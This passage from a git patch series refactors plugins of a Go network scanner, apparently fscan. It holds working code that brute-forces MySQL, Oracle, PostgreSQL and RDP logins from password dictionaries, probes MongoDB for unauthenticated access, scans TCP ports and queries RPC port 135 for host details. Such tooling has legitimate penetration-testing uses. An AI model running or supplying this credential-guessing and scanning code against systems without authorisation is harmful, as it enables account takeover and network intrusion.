0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00, } - - realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - - checkUnAuth := func(address string, packet []byte) (string, error) { - conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) - if err != nil { - return "", err - } - defer conn.Close() - err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) - if err != nil { - return "", err - } - _, err = conn.Write(packet) - if err != nil { - return "", err - } - reply := make([]byte, 1024) - count, err := conn.Read(reply) - if err != nil { - return "", err - } - return string(reply[0:count]), nil - } - - // send OP_MSG first - reply, err := checkUnAuth(realhost, packet1) - if err != nil { - reply, err = checkUnAuth(realhost, packet2) - if err != nil { - return flag, err - } - } - if strings.Contains(reply, "totalLinesWritten") { - flag = true - result := fmt.Sprintf("[+] Mongodb %v unauthorized", realhost) - Common.LogSuccess(result) - } - return flag, err } From 5cc66872482de9226dcffc592a28639c5166f655 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:40:19 +0800 Subject: [PATCH 026/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96MySQL.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/MySQL.go | 80 +++++++++++++++++++++++++++++++----------------- 1 file changed, 52 insertions(+), 28 deletions(-) diff --git a/Plugins/MySQL.go b/Plugins/MySQL.go index 8a193d4..fe07486 100644 --- a/Plugins/MySQL.go +++ b/Plugins/MySQL.go @@ -10,49 +10,73 @@ import ( "time" ) +// MysqlScan 执行MySQL服务扫描 func MysqlScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + starttime := time.Now().Unix() + + // 尝试用户名密码组合 for _, user := range Common.Userdict["mysql"] { for _, pass := range Common.Passwords { + // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) + flag, err := MysqlConn(info, user, pass) - if flag == true && err == nil { + if flag && err == nil { + return err + } + + // 记录错误信息 + errlog := fmt.Sprintf("[-] MySQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mysql"])*len(Common.Passwords)) * Common.Timeout) { return err - } else { - errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) - tmperr = err - if Common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mysql"])*len(Common.Passwords)) * Common.Timeout) { - return err - } } } } return tmperr } -func MysqlConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { - flag = false - Host, Port, Username, Password := info.Host, info.Ports, user, pass - dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(Common.Timeout)*time.Second) - db, err := sql.Open("mysql", dataSourceName) - if err == nil { - db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Second) - db.SetConnMaxIdleTime(time.Duration(Common.Timeout) * time.Second) - db.SetMaxIdleConns(0) - defer db.Close() - err = db.Ping() - if err == nil { - result := fmt.Sprintf("[+] mysql %v:%v:%v %v", Host, Port, Username, Password) - Common.LogSuccess(result) - flag = true - } +// MysqlConn 尝试MySQL连接 +func MysqlConn(info *Config.HostInfo, user string, pass string) (bool, error) { + host, port, username, password := info.Host, info.Ports, user, pass + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造连接字符串 + connStr := fmt.Sprintf( + "%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", + username, password, host, port, timeout, + ) + + // 建立数据库连接 + db, err := sql.Open("mysql", connStr) + if err != nil { + return false, err } - return flag, err + defer db.Close() + + // 设置连接参数 + db.SetConnMaxLifetime(timeout) + db.SetConnMaxIdleTime(timeout) + db.SetMaxIdleConns(0) + + // 测试连接 + if err = db.Ping(); err != nil { + return false, err + } + + // 连接成功 + result := fmt.Sprintf("[+] MySQL %v:%v:%v %v", host, port, username, password) + Common.LogSuccess(result) + return true, nil } From 79343b1722fd2b37fb544188a772ac74e25ed26c Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:40:26 +0800 Subject: [PATCH 027/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Oracle.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/Oracle.go | 78 ++++++++++++++++++++++++++++++----------------- 1 file changed, 50 insertions(+), 28 deletions(-) diff --git a/Plugins/Oracle.go b/Plugins/Oracle.go index e956f26..8a4cf7f 100644 --- a/Plugins/Oracle.go +++ b/Plugins/Oracle.go @@ -10,49 +10,71 @@ import ( "time" ) +// OracleScan 执行Oracle服务扫描 func OracleScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + starttime := time.Now().Unix() + + // 尝试用户名密码组合 for _, user := range Common.Userdict["oracle"] { for _, pass := range Common.Passwords { + // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) + flag, err := OracleConn(info, user, pass) - if flag == true && err == nil { + if flag && err == nil { + return err + } + + // 记录错误信息 + errlog := fmt.Sprintf("[-] Oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["oracle"])*len(Common.Passwords)) * Common.Timeout) { return err - } else { - errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) - tmperr = err - if Common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["oracle"])*len(Common.Passwords)) * Common.Timeout) { - return err - } } } } return tmperr } -func OracleConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { - flag = false - Host, Port, Username, Password := info.Host, info.Ports, user, pass - dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port) - db, err := sql.Open("oracle", dataSourceName) - if err == nil { - db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Second) - db.SetConnMaxIdleTime(time.Duration(Common.Timeout) * time.Second) - db.SetMaxIdleConns(0) - defer db.Close() - err = db.Ping() - if err == nil { - result := fmt.Sprintf("[+] oracle %v:%v:%v %v", Host, Port, Username, Password) - Common.LogSuccess(result) - flag = true - } +// OracleConn 尝试Oracle连接 +func OracleConn(info *Config.HostInfo, user string, pass string) (bool, error) { + host, port, username, password := info.Host, info.Ports, user, pass + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造连接字符串 + connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", + username, password, host, port) + + // 建立数据库连接 + db, err := sql.Open("oracle", connStr) + if err != nil { + return false, err } - return flag, err + defer db.Close() + + // 设置连接参数 + db.SetConnMaxLifetime(timeout) + db.SetConnMaxIdleTime(timeout) + db.SetMaxIdleConns(0) + + // 测试连接 + if err = db.Ping(); err != nil { + return false, err + } + + // 连接成功 + result := fmt.Sprintf("[+] Oracle %v:%v:%v %v", host, port, username, password) + Common.LogSuccess(result) + return true, nil } From cd6809e775a3b48ca99303e1f0823f20bc090ebf Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:40:35 +0800 Subject: [PATCH 028/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96PortScan.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/PortScan.go | 144 +++++++++++++++++++++++++------------------- 1 file changed, 81 insertions(+), 63 deletions(-) diff --git a/Plugins/PortScan.go b/Plugins/PortScan.go index c91c3a4..a55c9be 100644 --- a/Plugins/PortScan.go +++ b/Plugins/PortScan.go @@ -4,115 +4,133 @@ import ( "fmt" "github.com/shadow1ng/fscan/Common" "sort" - "strconv" "sync" "time" ) +// Addr 表示待扫描的地址 type Addr struct { - ip string - port int + ip string // IP地址 + port int // 端口号 } +// PortScan 执行端口扫描 func PortScan(hostslist []string, ports string, timeout int64) []string { var AliveAddress []string + + // 解析端口列表 probePorts := Common.ParsePort(ports) if len(probePorts) == 0 { - fmt.Printf("[-] parse port %s error, please check your port format\n", ports) + fmt.Printf("[-] 端口格式错误: %s, 请检查端口格式\n", ports) return AliveAddress } - noPorts := Common.ParsePort(Common.NoPorts) - if len(noPorts) > 0 { - temp := map[int]struct{}{} - for _, port := range probePorts { - temp[port] = struct{}{} - } - for _, port := range noPorts { - delete(temp, port) - } + // 排除指定端口 + probePorts = excludeNoPorts(probePorts) - var newDatas []int - for port := range temp { - newDatas = append(newDatas, port) - } - probePorts = newDatas - sort.Ints(probePorts) - } + // 创建通道 workers := Common.Threads - Addrs := make(chan Addr, 100) + addrs := make(chan Addr, 100) results := make(chan string, 100) var wg sync.WaitGroup - //接收结果 - go func() { - for found := range results { - AliveAddress = append(AliveAddress, found) - wg.Done() - } - }() + // 接收扫描结果 + go collectResults(&AliveAddress, results, &wg) - //多线程扫描 + // 启动扫描协程 for i := 0; i < workers; i++ { go func() { - for addr := range Addrs { + for addr := range addrs { PortConnect(addr, results, timeout, &wg) wg.Done() } }() } - //添加扫描目标 + // 添加扫描目标 for _, port := range probePorts { for _, host := range hostslist { wg.Add(1) - Addrs <- Addr{host, port} + addrs <- Addr{host, port} } } + wg.Wait() - close(Addrs) + close(addrs) close(results) return AliveAddress } -func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) { - host, port := addr.ip, addr.port - conn, err := Common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second) - if err == nil { - defer conn.Close() - address := host + ":" + strconv.Itoa(port) - result := fmt.Sprintf("%s open", address) - Common.LogSuccess(result) - wg.Add(1) - respondingHosts <- address +// collectResults 收集扫描结果 +func collectResults(aliveAddrs *[]string, results <-chan string, wg *sync.WaitGroup) { + for found := range results { + *aliveAddrs = append(*aliveAddrs, found) + wg.Done() } } -func NoPortScan(hostslist []string, ports string) (AliveAddress []string) { - probePorts := Common.ParsePort(ports) - noPorts := Common.ParsePort(Common.NoPorts) - if len(noPorts) > 0 { - temp := map[int]struct{}{} - for _, port := range probePorts { - temp[port] = struct{}{} - } +// PortConnect 尝试连接指定端口 +func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sync.WaitGroup) { + // 建立TCP连接 + conn, err := Common.WrapperTcpWithTimeout("tcp4", + fmt.Sprintf("%s:%v", addr.ip, addr.port), + time.Duration(timeout)*time.Second) - for _, port := range noPorts { - delete(temp, port) - } - - var newDatas []int - for port, _ := range temp { - newDatas = append(newDatas, port) - } - probePorts = newDatas - sort.Ints(probePorts) + if err != nil { + return } + defer conn.Close() + + // 记录开放端口 + address := fmt.Sprintf("%s:%d", addr.ip, addr.port) + result := fmt.Sprintf("[+] 端口开放 %s", address) + Common.LogSuccess(result) + + wg.Add(1) + respondingHosts <- address +} + +// NoPortScan 生成端口列表(不进行扫描) +func NoPortScan(hostslist []string, ports string) []string { + var AliveAddress []string + + // 解析并排除端口 + probePorts := excludeNoPorts(Common.ParsePort(ports)) + + // 生成地址列表 for _, port := range probePorts { for _, host := range hostslist { - address := host + ":" + strconv.Itoa(port) + address := fmt.Sprintf("%s:%d", host, port) AliveAddress = append(AliveAddress, address) } } - return + + return AliveAddress +} + +// excludeNoPorts 排除指定的端口 +func excludeNoPorts(ports []int) []int { + noPorts := Common.ParsePort(Common.NoPorts) + if len(noPorts) == 0 { + return ports + } + + // 使用map过滤端口 + temp := make(map[int]struct{}) + for _, port := range ports { + temp[port] = struct{}{} + } + + for _, port := range noPorts { + delete(temp, port) + } + + // 转换为切片并排序 + var newPorts []int + for port := range temp { + newPorts = append(newPorts, port) + } + sort.Ints(newPorts) + + return newPorts } From 352cbd44bee0144721fe3c17eaad9b6e7af86e8a Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:40:41 +0800 Subject: [PATCH 029/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Postgre.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/Postgres.go | 78 +++++++++++++++++++++++++++++---------------- 1 file changed, 51 insertions(+), 27 deletions(-) diff --git a/Plugins/Postgres.go b/Plugins/Postgres.go index c6e51e7..96081ca 100644 --- a/Plugins/Postgres.go +++ b/Plugins/Postgres.go @@ -10,47 +10,71 @@ import ( "time" ) +// PostgresScan 执行PostgreSQL服务扫描 func PostgresScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + starttime := time.Now().Unix() + + // 尝试用户名密码组合 for _, user := range Common.Userdict["postgresql"] { for _, pass := range Common.Passwords { - pass = strings.Replace(pass, "{user}", string(user), -1) + // 替换密码中的用户名占位符 + pass = strings.Replace(pass, "{user}", user, -1) + flag, err := PostgresConn(info, user, pass) - if flag == true && err == nil { + if flag && err == nil { + return err + } + + // 记录错误信息 + errlog := fmt.Sprintf("[-] PostgreSQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["postgresql"])*len(Common.Passwords)) * Common.Timeout) { return err - } else { - errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) - tmperr = err - if Common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["postgresql"])*len(Common.Passwords)) * Common.Timeout) { - return err - } } } } return tmperr } -func PostgresConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { - flag = false - Host, Port, Username, Password := info.Host, info.Ports, user, pass - dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable") - db, err := sql.Open("postgres", dataSourceName) - if err == nil { - db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Second) - defer db.Close() - err = db.Ping() - if err == nil { - result := fmt.Sprintf("[+] Postgres:%v:%v:%v %v", Host, Port, Username, Password) - Common.LogSuccess(result) - flag = true - } +// PostgresConn 尝试PostgreSQL连接 +func PostgresConn(info *Config.HostInfo, user string, pass string) (bool, error) { + host, port, username, password := info.Host, info.Ports, user, pass + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造连接字符串 + connStr := fmt.Sprintf( + "postgres://%v:%v@%v:%v/postgres?sslmode=disable", + username, password, host, port, + ) + + // 建立数据库连接 + db, err := sql.Open("postgres", connStr) + if err != nil { + return false, err } - return flag, err + defer db.Close() + + // 设置连接参数 + db.SetConnMaxLifetime(timeout) + + // 测试连接 + if err = db.Ping(); err != nil { + return false, err + } + + // 连接成功 + result := fmt.Sprintf("[+] PostgreSQL %v:%v:%v %v", host, port, username, password) + Common.LogSuccess(result) + return true, nil } From 0349952dd112c4a4c15d521a75dfc477bfd08d28 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:40:47 +0800 Subject: [PATCH 030/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96RDP.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/RDP.go | 151 +++++++++++++++++++++++++++++++++---------------- 1 file changed, 101 insertions(+), 50 deletions(-) diff --git a/Plugins/RDP.go b/Plugins/RDP.go index 4e80e1f..2bf9025 100644 --- a/Plugins/RDP.go +++ b/Plugins/RDP.go @@ -15,6 +15,7 @@ import ( "github.com/tomatome/grdp/protocol/tpkt" "github.com/tomatome/grdp/protocol/x224" "log" + "net" "os" "strconv" "strings" @@ -22,29 +23,37 @@ import ( "time" ) +// Brutelist 表示暴力破解的用户名密码组合 type Brutelist struct { user string pass string } +// RdpScan 执行RDP服务扫描 func RdpScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } - var wg sync.WaitGroup - var signal bool - var num = 0 - var all = len(Common.Userdict["rdp"]) * len(Common.Passwords) - var mutex sync.Mutex + var ( + wg sync.WaitGroup + signal bool + num = 0 + all = len(Common.Userdict["rdp"]) * len(Common.Passwords) + mutex sync.Mutex + ) + + // 创建任务通道 brlist := make(chan Brutelist) port, _ := strconv.Atoi(info.Ports) + // 启动工作协程 for i := 0; i < Common.BruteThread; i++ { wg.Add(1) go worker(info.Host, Common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, Common.Timeout) } + // 分发扫描任务 for _, user := range Common.Userdict["rdp"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) @@ -52,6 +61,8 @@ func RdpScan(info *Config.HostInfo) (tmperr error) { } } close(brlist) + + // 等待所有任务完成 go func() { wg.Wait() signal = true @@ -62,16 +73,22 @@ func RdpScan(info *Config.HostInfo) (tmperr error) { return tmperr } -func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist, signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) { +// worker RDP扫描工作协程 +func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist, + signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) { defer wg.Done() + for one := range brlist { - if *signal == true { + if *signal { return } go incrNum(num, mutex) + user, pass := one.user, one.pass flag, err := RdpConn(host, domain, user, pass, port, timeout) - if flag == true && err == nil { + + if flag && err == nil { + // 连接成功 var result string if domain != "" { result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass) @@ -81,113 +98,147 @@ func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brute Common.LogSuccess(result) *signal = true return - } else { - errlog := fmt.Sprintf("[-] (%v/%v) rdp %v:%v %v %v %v", *num, all, host, port, user, pass, err) - Common.LogError(errlog) } + + // 连接失败 + errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err) + Common.LogError(errlog) } } +// incrNum 线程安全地增加计数器 func incrNum(num *int, mutex *sync.Mutex) { mutex.Lock() - *num = *num + 1 + *num++ mutex.Unlock() } +// RdpConn 尝试RDP连接 func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) { target := fmt.Sprintf("%s:%d", ip, port) - g := NewClient(target, glog.NONE) - err := g.Login(domain, user, password, timeout) - if err == nil { - return true, nil + // 创建RDP客户端 + client := NewClient(target, glog.NONE) + if err := client.Login(domain, user, password, timeout); err != nil { + return false, err } - return false, err + return true, nil } +// Client RDP客户端结构 type Client struct { - Host string // ip:port - tpkt *tpkt.TPKT - x224 *x224.X224 - mcs *t125.MCSClient - sec *sec.Client - pdu *pdu.Client - vnc *rfb.RFB + Host string // 服务地址(ip:port) + tpkt *tpkt.TPKT // TPKT协议层 + x224 *x224.X224 // X224协议层 + mcs *t125.MCSClient // MCS协议层 + sec *sec.Client // 安全层 + pdu *pdu.Client // PDU协议层 + vnc *rfb.RFB // VNC协议(可选) } +// NewClient 创建新的RDP客户端 func NewClient(host string, logLevel glog.LEVEL) *Client { + // 配置日志 glog.SetLevel(logLevel) logger := log.New(os.Stdout, "", 0) glog.SetLogger(logger) + return &Client{ Host: host, } } +// Login 执行RDP登录 func (g *Client) Login(domain, user, pwd string, timeout int64) error { + // 建立TCP连接 conn, err := Common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second) if err != nil { - return fmt.Errorf("[dial err] %v", err) + return fmt.Errorf("[连接错误] %v", err) } defer conn.Close() glog.Info(conn.LocalAddr().String()) + // 初始化协议栈 + g.initProtocolStack(conn, domain, user, pwd) + + // 建立X224连接 + if err = g.x224.Connect(); err != nil { + return fmt.Errorf("[X224连接错误] %v", err) + } + glog.Info("等待连接建立...") + + // 等待连接完成 + wg := &sync.WaitGroup{} + breakFlag := false + wg.Add(1) + + // 设置事件处理器 + g.setupEventHandlers(wg, &breakFlag, &err) + + wg.Wait() + return err +} + +// initProtocolStack 初始化RDP协议栈 +func (g *Client) initProtocolStack(conn net.Conn, domain, user, pwd string) { + // 创建协议层实例 g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd)) g.x224 = x224.New(g.tpkt) g.mcs = t125.NewMCSClient(g.x224) g.sec = sec.NewClient(g.mcs) g.pdu = pdu.NewClient(g.sec) + // 设置认证信息 g.sec.SetUser(user) g.sec.SetPwd(pwd) g.sec.SetDomain(domain) - //g.sec.SetClientAutoReconnect() + // 配置协议层关联 g.tpkt.SetFastPathListener(g.sec) g.sec.SetFastPathListener(g.pdu) g.pdu.SetFastPathSender(g.tpkt) +} - //g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL) - //g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP) - - err = g.x224.Connect() - if err != nil { - return fmt.Errorf("[x224 connect err] %v", err) - } - glog.Info("wait connect ok") - wg := &sync.WaitGroup{} - breakFlag := false - wg.Add(1) - +// setupEventHandlers 设置PDU事件处理器 +func (g *Client) setupEventHandlers(wg *sync.WaitGroup, breakFlag *bool, err *error) { + // 错误处理 g.pdu.On("error", func(e error) { - err = e - glog.Error("error", e) + *err = e + glog.Error("错误:", e) g.pdu.Emit("done") }) + + // 连接关闭 g.pdu.On("close", func() { - err = errors.New("close") - glog.Info("on close") + *err = errors.New("连接关闭") + glog.Info("连接已关闭") g.pdu.Emit("done") }) + + // 连接成功 g.pdu.On("success", func() { - err = nil - glog.Info("on success") + *err = nil + glog.Info("连接成功") g.pdu.Emit("done") }) + + // 连接就绪 g.pdu.On("ready", func() { - glog.Info("on ready") + glog.Info("连接就绪") g.pdu.Emit("done") }) + + // 屏幕更新 g.pdu.On("update", func(rectangles []pdu.BitmapData) { - glog.Info("on update:", rectangles) + glog.Info("屏幕更新:", rectangles) }) + + // 完成处理 g.pdu.On("done", func() { - if breakFlag == false { - breakFlag = true + if !*breakFlag { + *breakFlag = true wg.Done() } }) - wg.Wait() - return err } From 728f6c78b59ac5e010b49b5bb4e889ded2424251 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:41:01 +0800 Subject: [PATCH 031/188] =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8D=E4=B8=80?= =?UTF-8?q?=E4=B8=AA=E5=91=BD=E5=90=8DBug?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- WebScan/lib/Client.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/WebScan/lib/Client.go b/WebScan/lib/Client.go index 66b48ad..1337ea9 100644 --- a/WebScan/lib/Client.go +++ b/WebScan/lib/Client.go @@ -57,7 +57,7 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err } if Common.Socks5Proxy != "" { - dialSocksProxy, err := Common.Socks5Dailer(dialer) + dialSocksProxy, err := Common.Socks5Dialer(dialer) if err != nil { return err } From 88d3fe489d4dc594275480d36e9f8057bc427bdb Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:08:53 +0800 Subject: [PATCH 032/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Base.go?= =?UTF-8?q?=E8=BE=93=E5=87=BA=E6=A0=BC=E5=BC=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/Base.go | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/Plugins/Base.go b/Plugins/Base.go index 20fa91a..be38f12 100644 --- a/Plugins/Base.go +++ b/Plugins/Base.go @@ -53,7 +53,7 @@ func AesEncrypt(orig string, key string) (string, error) { // 创建加密块,要求密钥长度必须为16/24/32字节 block, err := aes.NewCipher(keyBytes) if err != nil { - return "", fmt.Errorf("创建加密块失败: %v", err) + return "", fmt.Errorf("[-] 创建加密块失败: %v", err) } // 获取块大小并填充数据 @@ -76,7 +76,7 @@ func AesDecrypt(crypted string, key string) (string, error) { // base64解码 cryptedBytes, err := base64.StdEncoding.DecodeString(crypted) if err != nil { - return "", fmt.Errorf("base64解码失败: %v", err) + return "", fmt.Errorf("[-] base64解码失败: %v", err) } keyBytes := []byte(key) @@ -84,7 +84,7 @@ func AesDecrypt(crypted string, key string) (string, error) { // 创建解密块 block, err := aes.NewCipher(keyBytes) if err != nil { - return "", fmt.Errorf("创建解密块失败: %v", err) + return "", fmt.Errorf("[-] 创建解密块失败: %v", err) } // 创建CBC解密模式 @@ -98,7 +98,7 @@ func AesDecrypt(crypted string, key string) (string, error) { // 去除填充 origData, err = PKCS7UnPadding(origData) if err != nil { - return "", fmt.Errorf("去除PKCS7填充失败: %v", err) + return "", fmt.Errorf("[-] 去除PKCS7填充失败: %v", err) } return string(origData), nil @@ -115,12 +115,12 @@ func PKCS7Padding(data []byte, blockSize int) []byte { func PKCS7UnPadding(data []byte) ([]byte, error) { length := len(data) if length == 0 { - return nil, errors.New("数据长度为0") + return nil, errors.New("[-] 数据长度为0") } padding := int(data[length-1]) if padding > length { - return nil, errors.New("填充长度无效") + return nil, errors.New("[-] 填充长度无效") } return data[:length-padding], nil From 468447861c4956344a718b4a3f85649d4332a565 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:09:04 +0800 Subject: [PATCH 033/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96FindNet.go?= =?UTF-8?q?=E8=BE=93=E5=87=BA=E6=A0=BC=E5=BC=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/FindNet.go | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/Plugins/FindNet.go b/Plugins/FindNet.go index bc58c84..b395f12 100644 --- a/Plugins/FindNet.go +++ b/Plugins/FindNet.go @@ -29,35 +29,35 @@ func FindnetScan(info *Config.HostInfo) error { target := fmt.Sprintf("%s:%v", info.Host, 135) conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second) if err != nil { - return fmt.Errorf("连接RPC端口失败: %v", err) + return fmt.Errorf("[-] 连接RPC端口失败: %v", err) } defer conn.Close() // 设置连接超时 if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { - return fmt.Errorf("设置超时失败: %v", err) + return fmt.Errorf("[-] 设置超时失败: %v", err) } // 发送第一个RPC请求 if _, err = conn.Write(bufferV1); err != nil { - return fmt.Errorf("发送RPC请求1失败: %v", err) + return fmt.Errorf("[-] 发送RPC请求1失败: %v", err) } // 读取响应 reply := make([]byte, 4096) if _, err = conn.Read(reply); err != nil { - return fmt.Errorf("读取RPC响应1失败: %v", err) + return fmt.Errorf("[-] 读取RPC响应1失败: %v", err) } // 发送第二个RPC请求 if _, err = conn.Write(bufferV2); err != nil { - return fmt.Errorf("发送RPC请求2失败: %v", err) + return fmt.Errorf("[-] 发送RPC请求2失败: %v", err) } // 读取并检查响应 n, err := conn.Read(reply) if err != nil || n < 42 { - return fmt.Errorf("读取RPC响应2失败: %v", err) + return fmt.Errorf("[-] 读取RPC响应2失败: %v", err) } // 解析响应数据 @@ -72,7 +72,7 @@ func FindnetScan(info *Config.HostInfo) error { } if !found { - return fmt.Errorf("未找到有效的响应标记") + return fmt.Errorf("[-] 未找到有效的响应标记") } // 解析主机信息 @@ -151,7 +151,7 @@ func read(text []byte, host string) error { // 解码主机信息 hostInfo, err := hex.DecodeString(h) if err != nil { - return fmt.Errorf("解码主机信息失败: %v", err) + return fmt.Errorf("[-] 解码主机信息失败: %v", err) } result += fmt.Sprintf("\n [->] %s", string(hostInfo)) } From 